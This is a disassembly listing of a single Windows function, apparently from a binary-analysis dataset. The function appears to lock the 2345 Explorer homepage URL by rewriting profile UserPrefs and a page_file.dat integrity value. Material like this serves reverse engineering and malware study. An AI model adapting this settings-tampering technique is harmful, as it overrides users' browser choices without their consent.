Function at 0x4f8190
Capabilities:
Check if file exists
Get common file path
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50d2e7
mov eax, dword fs:[0]
push eax
sub esp, 0x2b0
mov eax, dword [0x531304]
xor eax, ebp
mov dword [ebp - 0x20], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov byte [ebp - 0x27d], 0
mov byte [ebp - 0x144], 0
push 0x103
push 0
lea eax, [ebp - 0x143]
push eax
call fcn.00415fc0
add esp, 0xc
mov dword [ebp - 0x27c], 0
lea ecx, [ebp - 0x274]
call fcn.004011e0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x3c]
call fcn.004011e0
mov byte [ebp - 4], 1
cmp dword [0x55b9f4], 0
jne 0x4f8250
push 0x5262e8
call fcn.004e4170
add esp, 4
mov dword [ebp - 0x2ac], 0xfffffffc
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x3c]
call fcn.00401260
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x274]
call fcn.00401260
mov eax, dword [ebp - 0x2ac]
jmp 0x4f8828
mov ecx, dword [ebp + 8]
push ecx
call fcn.004f9c00
add esp, 4
mov dword [ebp - 0x2a4], eax
mov edx, dword [ebp - 0x2a4]
push edx
call fcn.00415e20
add esp, 4
test eax, eax
jne 0x4f82a8
mov dword [ebp - 0x2b0], 0xfffffffd
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x3c]
call fcn.00401260
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x274]
call fcn.00401260
mov eax, dword [ebp - 0x2b0]
jmp 0x4f8828
push 0x52630c
call fcn.004f49c0
add esp, 4
test eax, eax
je 0x4f82c6
push str.2345explorer.exe
call fcn.004349e0
add esp, 4
mov eax, dword [ebp - 0x2a4]
push eax
push str._DEBUGINFO__LOCK__SET_Lock2345_url___s_n
call fcn.004e4170
add esp, 8
push 0x104
push 0
lea ecx, [ebp - 0x144]
push ecx
call fcn.00415fc0
add esp, 0xc
push 0
push 0x1c
lea edx, [ebp - 0x144]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push str.2345ExplorerUser_DataDefault
push 0x104
lea eax, [ebp - 0x144]
push eax
call fcn.004189df
add esp, 0xc
lea ecx, [ebp - 0x144]
push ecx
call fcn.004f4b10
add esp, 4
test eax, eax
je 0x4f8362
mov dword [ebp - 0x2b4], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x3c]
call fcn.00401260
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x274]
call fcn.00401260
mov eax, dword [ebp - 0x2b4]
jmp 0x4f8828
lea edx, [ebp - 0x144]
push edx
lea ecx, [ebp - 0x274]
call fcn.004012a0
lea eax, [ebp - 0x144]
push eax
lea ecx, [ebp - 0x3c]
call fcn.004012a0
push str.SyncHardwareInfo.dat
lea ecx, [ebp - 0x274]
call fcn.0040bb70
push str.page_file.dat
lea ecx, [ebp - 0x3c]
call fcn.0040bb70
lea ecx, [ebp - 0x274]
call fcn.004012e0
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4f83f2
lea ecx, [ebp - 0x3c]
call fcn.004012e0
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4f83f2
lea ecx, [ebp - 0x3c]
call fcn.004012e0
push eax
lea ecx, [ebp - 0x274]
call fcn.004012e0
push eax
push str._DEBUGINFO__LOCK__SET_Lock2345_path_HardwareInfo___s_path_page_file___s_n
call fcn.004e4170
add esp, 0xc
mov byte [ebp - 0x27d], 1
movzx ecx, byte [ebp - 0x27d]
test ecx, ecx
jne 0x4f8430
mov dword [ebp - 0x2b8], 0xffffffff
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x3c]
call fcn.00401260
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x274]
call fcn.00401260
mov eax, dword [ebp - 0x2b8]
jmp 0x4f8828
mov byte [ebp - 0x2a0], 0
xor edx, edx
mov dword [ebp - 0x29f], edx
mov dword [ebp - 0x29b], edx
mov dword [ebp - 0x297], edx
mov dword [ebp - 0x293], edx
mov dword [ebp - 0x28f], edx
mov dword [ebp - 0x28b], edx
mov dword [ebp - 0x287], edx
mov word [ebp - 0x283], dx
mov byte [ebp - 0x281], dl
push 0x5263f4
lea ecx, [ebp - 0x274]
call fcn.004012e0
push eax
call fcn.0041625a
add esp, 8
mov dword [ebp - 0x14c], eax
push 2
push 0
mov eax, dword [ebp - 0x14c]
push eax
call fcn.00416afd
add esp, 0xc
mov ecx, dword [ebp - 0x14c]
push ecx
call fcn.004169d3
add esp, 4
mov dword [ebp - 0x258], eax
mov edx, dword [ebp - 0x258]
add edx, 1
push edx
call fcn.00415d52
add esp, 4
mov dword [ebp - 0x278], eax
mov eax, dword [ebp - 0x258]
add eax, 1
push eax
push 0
mov ecx, dword [ebp - 0x278]
push ecx
call fcn.00415fc0
add esp, 0xc
push 0
push 0
mov edx, dword [ebp - 0x14c]
push edx
call fcn.00416afd
add esp, 0xc
mov eax, dword [ebp - 0x14c]
push eax
push 1
mov ecx, dword [ebp - 0x258]
push ecx
mov edx, dword [ebp - 0x278]
push edx
call fcn.0041651a
add esp, 0x10
mov eax, dword [ebp - 0x14c]
push eax
call fcn.00416bf5
add esp, 4
mov ecx, dword [ebp - 0x258]
push ecx
mov edx, dword [ebp - 0x278]
push edx
call fcn.004f7110
add esp, 8
mov eax, dword [ebp - 0x278]
push eax
push 0x20
lea ecx, [ebp - 0x2a0]
push ecx
call fcn.004188fa
add esp, 0xc
lea edx, [ebp - 0x2a0]
push edx
push str._DEBUGINFO__LOCK__SET_Lock2345_mac___s_n
call fcn.004e4170
add esp, 8
mov eax, dword [ebp - 0x278]
push eax
call fcn.00415c75
add esp, 4
push 0x104
call fcn.00415d52
add esp, 4
mov dword [ebp - 0x148], eax
push 0x104
push 0
mov ecx, dword [ebp - 0x148]
push ecx
call fcn.00415fc0
add esp, 0xc
push 0x526424
push 0x104
mov edx, dword [ebp - 0x148]
push edx
call fcn.004188fa
add esp, 0xc
mov eax, dword [ebp - 0x2a4]
push eax
push 0x104
mov ecx, dword [ebp - 0x148]
push ecx
call fcn.004189df
add esp, 0xc
push 0x526434
push 0x104
mov edx, dword [ebp - 0x148]
push edx
call fcn.004189df
add esp, 0xc
mov eax, dword [ebp - 0x148]
push eax
call fcn.00415e20
add esp, 4
push eax
mov ecx, dword [ebp - 0x148]
push ecx
lea edx, [ebp - 0x2a0]
push edx
call fcn.004f6fa0
add esp, 0xc
mov dword [ebp - 0x258], eax
push 0x80
lea ecx, [ebp - 0x3c]
call fcn.004012e0
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x526438
lea ecx, [ebp - 0x3c]
call fcn.004012e0
push eax
call fcn.0041625a
add esp, 8
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x14c]
push eax
push 1
mov ecx, dword [ebp - 0x258]
push ecx
mov edx, dword [ebp - 0x148]
push edx
call fcn.004167ae
add esp, 0x10
mov eax, dword [ebp - 0x14c]
push eax
call fcn.00416bf5
add esp, 4
mov ecx, dword [ebp - 0x148]
push ecx
call fcn.00415c75
add esp, 4
push str.Sync
push 0x104
lea edx, [ebp - 0x144]
push edx
call fcn.004189df
add esp, 0xc
mov byte [ebp - 0x254], 0
push 0x103
push 0
lea eax, [ebp - 0x253]
push eax
call fcn.00415fc0
add esp, 0xc
lea ecx, [ebp - 0x1c]
call fcn.00413270
mov byte [ebp - 4], 2
push 0x526444
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x144]
push edx
call fcn.00434ca0
add esp, 0xc
lea ecx, [ebp - 0x1c]
call fcn.004132c0
test eax, eax
jbe 0x4f87d3
mov dword [ebp - 0x2a8], 0
jmp 0x4f8710
mov eax, dword [ebp - 0x2a8]
add eax, 1
mov dword [ebp - 0x2a8], eax
lea ecx, [ebp - 0x1c]
call fcn.004132c0
cmp dword [ebp - 0x2a8], eax
jae 0x4f87d3
mov ecx, dword [ebp - 0x2a8]
push ecx
lea ecx, [ebp - 0x1c]
call fcn.00413300
push eax
call fcn.004f4b10
add esp, 4
test eax, eax
jne 0x4f87ce
push 0x104
push 0
lea edx, [ebp - 0x254]
push edx
call fcn.00415fc0
add esp, 0xc
mov eax, dword [ebp - 0x2a8]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00413300
push eax
push 0x104
lea ecx, [ebp - 0x254]
push ecx
call fcn.004188fa
add esp, 0xc
push str.UserPrefs
push 0x104
lea edx, [ebp - 0x254]
push edx
call fcn.004189df
add esp, 0xc
lea eax, [ebp - 0x254]
push eax
push str._DEBUGINFO__LOCK__SET__userfolder___s_n
call fcn.004e4170
add esp, 8
mov ecx, dword [ebp - 0x2a4]
push ecx
lea edx, [ebp - 0x2a0]
push edx
lea eax, [ebp - 0x254]
push eax
call fcn.004f7d20
add esp, 0xc
mov dword [ebp - 0x27c], eax
jmp 0x4f8701
mov ecx, dword [ebp - 0x2a4]
push ecx
call fcn.00415c75
add esp, 4
mov dword [ebp - 0x27c], 1
mov edx, dword [ebp - 0x27c]
mov dword [ebp - 0x2bc], edx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1c]
call fcn.004132a0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x3c]
call fcn.00401260
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x274]
call fcn.00401260
mov eax, dword [ebp - 0x2bc]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x20]
xor ecx, ebp
call fcn.004158f4
mov esp, ebp
pop ebp
ret 4